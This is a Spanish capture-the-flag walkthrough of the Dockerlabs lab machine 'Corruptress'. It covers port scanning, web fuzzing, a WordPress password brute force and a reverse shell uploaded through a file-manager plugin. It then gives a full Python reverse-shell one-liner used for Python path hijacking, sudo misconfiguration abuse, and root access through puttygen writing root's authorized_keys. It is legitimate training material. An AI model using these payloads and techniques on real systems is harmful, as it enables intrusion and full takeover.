Corruptress es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 22:18 CEST Initiating ARP Ping Scan at 22:18 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 22:18, 0.06s elapsed (1 total hosts) Initiating SYN Stealth Scan at 22:18 Scanning 172.17.0.2 [65535 ports] Discovered open port 22/tcp on 172.17.0.2 Discovered open port 80/tcp on 172.17.0.2 Completed SYN Stealth Scan at 22:18, 1.11s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000060s latency). Scanned at 2024-08-10 22:18:09 CEST for 1s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.37 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
┌──(kali㉿kali)-[~] └─$ nmap -p22,80 -sCV 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 22:18 CEST Nmap scan report for paginadelgobiernoreal.gob (172.17.0.2) Host is up (0.00024s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 63:64:3c:0e:6a:52:35:aa:86:63:47:ae:29:98:75:96 (ECDSA) |_ 256 ba:c2:12:56:c8:6e:57:6c:6c:85:4c:33:99:3d:9b:3f (ED25519) 80/tcp open http Apache httpd 2.4.61 |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.61 (Debian) Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds |
Accedemos por puerto 80 y nos redirige al dominio http://paginadelgobiernoreal.gob , por lo que lo añadimos a /etc/hosts y accedemos, viendo un index de apache aparentemente sin más, pero que si vemos detenidamente, nos indica de una pagina llamada futurepage.html, así que accedemos

En esta como en la anterior, siendo una pagina por defecto de apache, podemos ver que nos dice que el Document Root está en /var/www/html/WebTestprogress, por lo que accedemos a este recurso de nuevo.

En este recurso vemos una web del Censo Nacional 2024, que a priori no nos da ninguna información valiosa por lo que usaremos feroxbuster para ver si hay otras paginas

Y encontramos page.php, la cual aparentemente es igual al index.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://paginadelgobiernoreal.gob/WebTestprogress/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://paginadelgobiernoreal.gob/WebTestprogress/ 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 287c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 290c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 120l 502w 5514c http://paginadelgobiernoreal.gob/WebTestprogress/ 200 GET 120l 502w 5514c http://paginadelgobiernoreal.gob/WebTestprogress/page.php |
Tras no ver nada mas, usamos wfuzz para comprobar si tiene algún parámetro y comprobamos que existen 3
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
┌──(kali㉿kali)-[~] └─$ wfuzz --hw=502 -w lfi-fuzz-params-list.txt.1 -u "http://paginadelgobiernoreal.gob/WebTestprogress/page.php?FUZZ=/etc/passwd" /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://paginadelgobiernoreal.gob/WebTestprogress/page.php?FUZZ=/etc/passwd Total requests: 2588 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000010: 200 0 L 6 W 37 Ch "file" 000000203: 200 0 L 3 W 21 Ch "cmd" 000001192: 200 0 L 7 W 54 Ch "mysql" Total time: 3.086269 Processed Requests: 2588 Filtered Requests: 2585 Requests/sec.: 838.5528 |
Nos centramos en el parámetro cmd, al cual le pasamos el comando id aunque no se ejecutará con éxito

Tras fuzzear comandos, probamos manualmente y tras casi llegar a la frustración, parece ser que con ls -la ./ , se ejecuta correctamente, dándonos el siguiente output, en el cual el archivo .advertencia es un diccionario con palabras

Accedemos a la carpeta developerPagee y nos encontramos con un wordpress, lanzaremos wpscan y usaremos el fichero que acabamos de encontrar como fichero para la fuerza bruta.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
┌──(kali㉿kali)-[~] └─$ wpscan --url http://paginadelgobiernoreal.gob/WebTestprogress/developerPagee/ --enumerate ap -P .advertencia _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.25 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://paginadelgobiernoreal.gob/WebTestprogress/developerPagee/ [172.17.0.2] [+] Started: Sat Aug 10 22:45:58 2024 [+] Performing password attack on Wp Login against 2 user/s [SUCCESS] - Ariel / NoTeMetasConElGobierno [SUCCESS] - ariel / NoTeMetasConElGobierno Trying Ariel / %NoTeMetasConElGobierno Time: 00:00:28 <===================================================================== > (600 / 1242) 48.30% ETA: ??:??:?? [!] Valid Combinations Found: | Username: Ariel, Password: NoTeMetasConElGobierno | Username: ariel, Password: NoTeMetasConElGobierno |
Teniendo usuario y contraseña, los logearemos en wordpress y veremos que podemos hacer, que en este caso, instalaremos el plugin Wp File Manager para poder subir una reverse shell al servidor

Llegamos a este punto, nos ponemos a la escucha con netcat y accedemos al recurso.
|
1 2 3 4 5 6 7 8 9 10 |
┌──(kali㉿kali)-[~] └─$ nc -vnlp 1234 listening on [any] 1234 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 49350 Linux 7dfd82404a26 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17) x86_64 GNU/Linux 12:08:30 up 43 min, 0 user, load average: 3.04, 2.95, 5.61 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ |
Vemos que si tenemos algún permiso con sudo y efectivamente tenemos la ejecución como el usuario ministroariel
|
1 2 3 4 5 6 7 8 |
www-data@7dfd82404a26:/$ sudo -l Matching Defaults entries for www-data on 7dfd82404a26: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User www-data may run the following commands on 7dfd82404a26: (ministroariel) NOPASSWD: /usr/bin/python3 /tmp/PiPaoTi.py |
El fichero python tiene el siguiente código
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
www-data@7dfd82404a26:/$ cat /tmp/PiPaoTi.py import random import os def jugar(): opciones = ["piedra", "papel", "tijeras"] eleccion_usuario = input("Elige piedra, papel o tijeras: ").strip().lower() if eleccion_usuario not in opciones: print("Opción no válida.") return eleccion_computadora = random.choice(opciones) print(f"La computadora eligió: {eleccion_computadora}") if eleccion_usuario == eleccion_computadora: print("¡Es un empate!") elif (eleccion_usuario == "piedra" and eleccion_computadora == "tijeras") or \ (eleccion_usuario == "papel" and eleccion_computadora == "piedra") or \ (eleccion_usuario == "tijeras" and eleccion_computadora == "papel"): print("¡Ganaste!") else: print("Perdiste.") if __name__ == "__main__": jugar() |
Lo que pensamos que puede funcionar es un python path hijacking, asi que vamos a /tmp y nos creamos un random.py con el siguiente contenido
|
1 2 |
www-data@7dfd82404a26:/tmp# cat /tmp/random.py import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); |
Ejecutamos el fichero python y ganamos una reverse shell como el usuario ministroariel
|
1 2 3 4 5 6 7 8 9 |
www-data@7dfd82404a26:/tmp$ sudo -u ministroariel /usr/bin/python3 /tmp/PiPaoTi.py ┌──(kali㉿kali)-[~] └─$ nc -vnlp 1235 listening on [any] 1235 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 51630 $ script /dev/null -c bash Script started, output log file is '/dev/null'. ministroariel@7dfd82404a26:/tmp$ |
Accedemos al HOME del usuario y vemos un fichero llamado .secreto, el cual tiene un mensaje y lo que parece que son base64s
|
1 2 3 4 5 6 7 8 9 10 |
He descubierto que el vicepresidente es corrupto y quiero quitarle su cargo, pero como no tengo pruebas le he pedido a un hacker que consiga su contraseña, pero me ha traicionado por dinero y dijo que si esta la contraseña pero en un lenguaje secreto R2VudGU= R2VudGUxMjM= R2VudGUh R2VudGVA R2VudGVhMWIyYzM= R2VudGV4WHg= R2VudGUyMDI0 R0VOVEU= |
Pese a que probamos convirtiéndolos a texto plano con suForce, no tenemos resultado así que probamos con los propios base64
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
ministroariel@7dfd82404a26:~$ ./suForce -u vicepresidente -w .secreto _____ ___ _ _ | ___|__ _ __ ___ ___ / __| | | || |_ / _ \| '__/ __/ _ \ \__ \ |_| || _| (_) | | | (_| __/ |___/\__,_||_| \___/|_| \___\___| -=================================- [*] Username: vicepresidente [*] Wordlist: .secreto [i] Status: 1/11184/0%/He descubierto que el vicepresidente es corrupto y quiero quitarle su cargo, pero como no tengo pruebas le he pedido a un hacker que consiga su contraseña, pero me ha traicionado por dinero y dijo que si esta la contr 5802/11184/51%/bcOhcXVpbmEgZXhwZW5kZWRvcmEK [+] Password: bcOhcXVpbmEgZXhwZW5kZWRvcmEK Line: 5802 -=================================- |
Accedemos con el usuario vicepresidente por ssh
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
┌──(kali㉿kali)-[~] └─$ ssh vicepresidente@172.17.0.2 The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established. ED25519 key fingerprint is SHA256:x1CeoTTh4mn7Wy5iXVbchDDMj5zdvbdgp9RoG7nbZeQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts. vicepresidente@172.17.0.2's password: Linux 7dfd82404a26 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. vicepresidente@7dfd82404a26:~$ |
Vemos que permisos tenemos con sudo y observamos que directamente ejecutándolo, nos convertiremos en el usuario presidente.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
vicepresidente@7dfd82404a26:~$ sudo -l Matching Defaults entries for vicepresidente on 7dfd82404a26: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User vicepresidente may run the following commands on 7dfd82404a26: (presidente) NOPASSWD: /usr/bin/python3 /var/backups/script.py vicepresidente@7dfd82404a26:~$ cat /var/backups/script.py import os print("Pequeño regalito para el vice(me quedé sin ideas)") os.system("/bin/bash") vicepresidente@7dfd82404a26:~$ sudo -u presidente /usr/bin/python3 /var/backups/script.py Pequeño regalito para el vice(me quedé sin ideas) presidente@7dfd82404a26:/home/vicepresidente$ |
Volvemos a probar si tenemos permisos con sudo
|
1 2 3 4 5 6 |
presidente@7dfd82404a26:/home/vicepresidente$ sudo -l Matching Defaults entries for presidente on 7dfd82404a26: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User presidente may run the following commands on 7dfd82404a26: (root) NOPASSWD: /usr/bin/puttygen |
Lo que vamos a hacer aquí es crearnos claves y la publica se la pasaremos al authorized_keys de root
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
presidente@7dfd82404a26:~$ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/presidente/.ssh/id_rsa): Created directory '/home/presidente/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/presidente/.ssh/id_rsa Your public key has been saved in /home/presidente/.ssh/id_rsa.pub The key fingerprint is: SHA256:TjvqXBRtaS/MMlIyyFkuwUvxQzpFg97e22cyzSpVtPk presidente@7dfd82404a26 The key's randomart image is: +---[RSA 3072]----+ | .o+* | | .+@ . . .. | | oBo* o =. o | | oo.= * .+ | | ...S +... | | .=.+.. E | | =+ o | | . oo.+ = | | .+ ..* | +----[SHA256]-----+ presidente@7dfd82404a26:~$ sudo /bin/puttygen ~/.ssh/id_rsa -O public-openssh -o /root/.ssh/authorized_key |
Y con esto ya seremos capaces de convertirnos en root a traves de ssh
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
presidente@7dfd82404a26:~/.ssh$ ssh root@127.0.0.1 The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. ED25519 key fingerprint is SHA256:x1CeoTTh4mn7Wy5iXVbchDDMj5zdvbdgp9RoG7nbZeQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts. Linux 7dfd82404a26 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@7dfd82404a26:~# |





